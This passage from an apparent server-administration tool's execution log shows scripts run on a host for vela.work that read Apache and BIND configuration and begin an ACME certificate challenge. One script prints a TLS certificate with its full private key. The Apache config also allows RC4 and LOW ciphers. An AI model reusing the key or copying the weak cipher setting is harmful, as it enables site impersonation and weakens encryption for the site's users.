with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 11:54:08: 

chmod 755 /tmp/pkp830152; /tmp/pkp830152; rm /tmp/pkp830152

2026-03-14 11:54:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf	1207

<VirtualHost *:80>
    ServerName	vela.work
    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2026-03-14 11:54:08: 

PUT: /tmp/pkp562968

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 11:54:08: 

chmod 755 /tmp/pkp562968; /tmp/pkp562968; rm /tmp/pkp562968

2026-03-14 11:54:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt	2962
56:a7:6e:69:b7:67:db:59:8a:27:d2:60:ce:a9:85:79

-----BEGIN CERTIFICATE-----
MIIDTTCCAjWgAwIBAgIUAWs8soj+LElo5DE0P2tZSUI30QkwDQYJKoZIhvcNAQEL
BQAwOzEaMBgGA1UECgwRVGhlWW91bmdEZXNpZ25lcnMxHTAbBgNVBAMMFFRoZVlv
dW5nRGVzaWduZXJzIENBMB4XDTI2MDMxNDExNDkwNFoXDTI3MDMxNDExNDkwNFow
FDESMBAGA1UEAwwJdmVsYS53b3JrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAigOjzO4qW6Q2VXeeqPeKTIo2sQVswTsWO26/6Pgcw2Bli/JxHI1gSUs7
SsAlTn4g24JQp3wpiJ2d8s1JUKfoG4Pa4cKfepNPc9rBxiqIwZykkgZrfE37yYTU
GbU7BWJjy2ncjA1fEXVrxt/zhQhxZlyyqcbuouY1F/0tRtJTDE1AEPxghNHuUAjE
WlOgFsPz8rckYQ6NJI88a8+xACCKDto44CobO+DIDzveAvBzJ/WV6Tocy8lMVGHf
6kC3UbtLwaKBXSTZ0fJnYoc/JPyMfg9j92VLmj1tGTLbicTwZDontAX0hLM9LI/Q
32O7q6xg4QkbiSlftYJ9iKF2hfD4vQIDAQABo3AwbjAdBgNVHQ4EFgQUv1fN9p1U
6ZDs6JxbhwsK+/ktg7cwHwYDVR0jBBgwFoAUhZtuDP3NJLXh9dCkAziCV0swc/ww
CwYDVR0PBAQDAgWgMAkGA1UdEwQCMAAwFAYDVR0RBA0wC4IJdmVsYS53b3JrMA0G
CSqGSIb3DQEBCwUAA4IBAQAOlCwzktjfHjrl15azWlGVl3Sd3NWldj9c8/Ux42dM
+PrFzOV5IS1dIFtCB/X1gG6FbIcpTJ3mfQb+QiV840wKwjIQr4O4aoEijlDl+sRb
5x3rUd4b0jkw6ldmPPQwag6hrpnN+8bs2EcLP6rchvSRhFVxbShPIxYv7D00uThN
cK2mtaR0wSwbqBCN0VY7k31YZD1CRLfW07KMkQnA4a7qGT4MrnsxFmLrCJt4REgQ
+2FW1CruOF36yREsaBZ1fun3bEnzPwJZ6wwYqAqYhGVn0oLgziCoMewtT3rO6ugj
Pjui5MMAxvTLKG1UkDVUTaD3vGKzhFA1Ge+RH9O+yW50
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCKA6PM7ipbpDZV
d56o94pMijaxBWzBOxY7br/o+BzDYGWL8nEcjWBJSztKwCVOfiDbglCnfCmInZ3y
zUlQp+gbg9rhwp96k09z2sHGKojBnKSSBmt8TfvJhNQZtTsFYmPLadyMDV8RdWvG
3/OFCHFmXLKpxu6i5jUX/S1G0lMMTUAQ/GCE0e5QCMRaU6AWw/PytyRhDo0kjzxr
z7EAIIoO2jjgKhs74MgPO94C8HMn9ZXpOhzLyUxUYd/qQLdRu0vBooFdJNnR8mdi
hz8k/Ix+D2P3ZUuaPW0ZMtuJxPBkOie0BfSEsz0sj9DfY7urrGDhCRuJKV+1gn2I
oXaF8Pi9AgMBAAECggEADTiICmuONzUl104cLsd3whlDX/XLEz+bw5m6XJDYAIdN
cviIiVmprZu9VE3PxRMkBqMXItQsDmA67zVnHojXHTumThYcvNs7szdzdI5Ch3l/
8lUXGtNFmWpV/xhzTPK96JB9hhUJ1FxRNL3jUA0c/9dFbioWVhiDYYbpPW2McxMX
WKnmknMKfq7CZy8Xh4d0lul4fhssCVzeRPJ5dAHr1a+FI7VCau7UDfrYYvVHuvD1
nTjsb/f4WKLprcuqgmmW8qRfgx0SWhPjpt35qM+MRhmd5MHRLnRfDOg4R+/BiQ0+
PgByc0T2GgDezMru5qT4AMPOahx4if/O9ejyQhyNwQKBgQDAF5ENmsV7QBzp41uJ
6+gmlOkiLXPWsYPhZGAT15nNezWW1WhJpyifwFrzM4T1iYDRDykB28iVQiZplVma
QDLlLJVaEtzx0L+EuT0G85QOAgD0JxFXI0XotcPuFHc4CgRSW0FLBZaXOz/6XIu4
zDI4tSh13XUEYJuqJ/nrwm411QKBgQC37kbmbqwYTZtlb6ZW+l//WCzMoy9MpraN
w3h8rg6IElLhr6TxdgEG61hhPE8U5M9FnoKPxNgBq0JMypzi6rVx6KwtwQAo9PSr
lMDcKtWmyXTJwNgoUoe51gwd0FEqvZf473P8cvv4b8NzHBiIjugQ8G6V7x01ol1J
EodnFMmjSQKBgC7Sz8nYK0Ei3KlqgTq6ZWlaLQXmvHDd7n63f+/2QwhieyqcNIKX
m4BtW/4iVcugS+Up494PG/K+ICzmeePuuDlCx9kf9fl/399TY/vYzgMoG+Fn0INE
Fttlyy+yj2j6kBkfI2hNIWsVxz+Y5XoTVD6cchNg+xApGGi+u93rFABNAoGBAIAE
8gZLO69CvQlSN9XMOOryRWQ9pJtWYjOzvPYS8/xTvKpm5YhG2RomzoIHRwfE5luP
o1JL8QjgWao3UBFEyfu5tbW24tSfAnk2dTIJAmIvUAFpH0qZfuyjBhXuO8Bi7BcR
G4q3wZc+uywwfwb1aKL5pg7nuk3tb75/jgz6VAo5AoGAa/Sm5FAI6U6vqFaL0Q3N
YsIDQCyrcz6WU6lE7al4odBeZBwTp8QH8XYQ6VOJdaDj5mjG2jN0WJCn/T6/BwVw
urcb8SXUj4EKpZXwuYt2iEJTjDBZRsUSBwJE1fllMpu7oOJ4cwvE6SwdcWfQVjda
i+3TJCx3W9lqMoGA1EC0uLE=
-----END PRIVATE KEY-----







2026-03-14 11:54:08: Establishing a connection
2026-03-14 11:54:08: 

PUT: /tmp/pkp649686

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:54:09: 

runuser -l bind -s /bin/bash -c '/tmp/pkp649686; rm /tmp/pkp649686'

2026-03-14 11:54:09: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= 2447ee93bae25e108bcd66a6e5e99caf
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:54:23: Establishing a connection
2026-03-14 11:54:23: Establishing a connection
2026-03-14 11:54:23: 

PUT: /tmp/pkp722333

#!/bin/bash
if [ -d "/var/www/vela_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-14 11:54:24: 

chmod 755 /tmp/pkp722333; /tmp/pkp722333; rm /tmp/pkp722333

2026-03-14 11:54:24: 


1


2026-03-14 11:54:25: Establishing a connection
2026-03-14 11:54:25: 

PUT: /tmp/pkp547878

#!/bin/bash
mkdir -p "/var/www/vela_www/.well-known/acme-challenge/"
cd "/var/www/vela_www/.well-known/acme-challenge/"
cat > uw0e9eHvBsYRLnAEwmd-4s-XB_Hn9pCB2Mh0OwqydY0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
uw0e9eHvBsYRLnAEwmd-4s-XB_Hn9pCB2Mh0OwqydY0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
